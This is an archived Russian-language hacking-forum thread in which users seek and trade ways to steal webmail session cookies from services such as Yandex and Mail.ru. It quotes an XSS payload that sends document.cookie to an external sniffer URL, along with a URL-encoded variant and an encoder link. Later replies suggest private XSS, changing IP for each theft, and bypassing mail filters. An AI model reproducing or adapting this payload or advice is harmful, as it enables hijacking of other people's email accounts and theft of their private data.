PDA

Просмотр полной версии : Помогите Кража Cookies в почте


manoffree
31.08.2007, 00:18
Знаю что это затертая тема.Отошли типа Html письмо со скриптом
<script>img=new Image(); img.src="путь к снифферу?"+document.cookie;</script> и жди прихода куков.Но почтовые фильтры вырезают скрипты.Я перечитал и перепробовал много но в итоге ничего не получалось,куки не приходили :( Кто подскажет что прописать что б все было тип-топ( например на Яндексе)Или какойто реально работающий проверяный способ.Заранее спасибо

Exlibris
31.08.2007, 00:27
%3Cscript%3Eimg=new Image(); img.src="путь к снифферу?"+document.cookie;%3C%2Fscript%3E - переделанный в html

http://ifolder.ru/3171933 - coder, перекодируй сам дальше

manoffree
31.08.2007, 00:50
Блин не получается :( Зашел на сайт http://www.papierenkarton.nl/m/mail.php отправил %3Cscript%3Eimg=new Image(); img.src="путь к снифферу?"+document.cookie;%3C%2Fscript%3E в штмл формате себе на почту, пришла обычная строка :(

manoffree
31.08.2007, 13:04
Что не кто не может помочь? :(

inv
31.08.2007, 13:07
Ты бы сказал куда шлешь,на почтах вообще-то фильтр стоит,в урл кодировке тем более...оно вообще должно отобразится?..
...
Не может и не хочет=\

manoffree
31.08.2007, 13:10
Я шлю себе не почту на Яндекс

inv
31.08.2007, 13:12
тогда тебе нужна приватная xss....если такая есть,наверно все-таки есть

stalles
31.08.2007, 16:56
паблик некаму ненужен!

manoffree
31.08.2007, 22:22
Короче некто так ничего конкретно и не написал,ну спасибо чуваки :(

mandalina
16.06.2009, 17:03
Айпи поменяй.Одна кража один айпи

LemoTTT
16.06.2009, 17:11
Скажу сразу- я яндекса куки не приходят, с рамблера- они при подстановки ничего не дают, с мейл ру- стоит фильтр- и пишет потенциально опасный код, который фильтрует java, но я нашарился его обходить!

DIMON4G
17.06.2009, 02:05
xss вам в помощь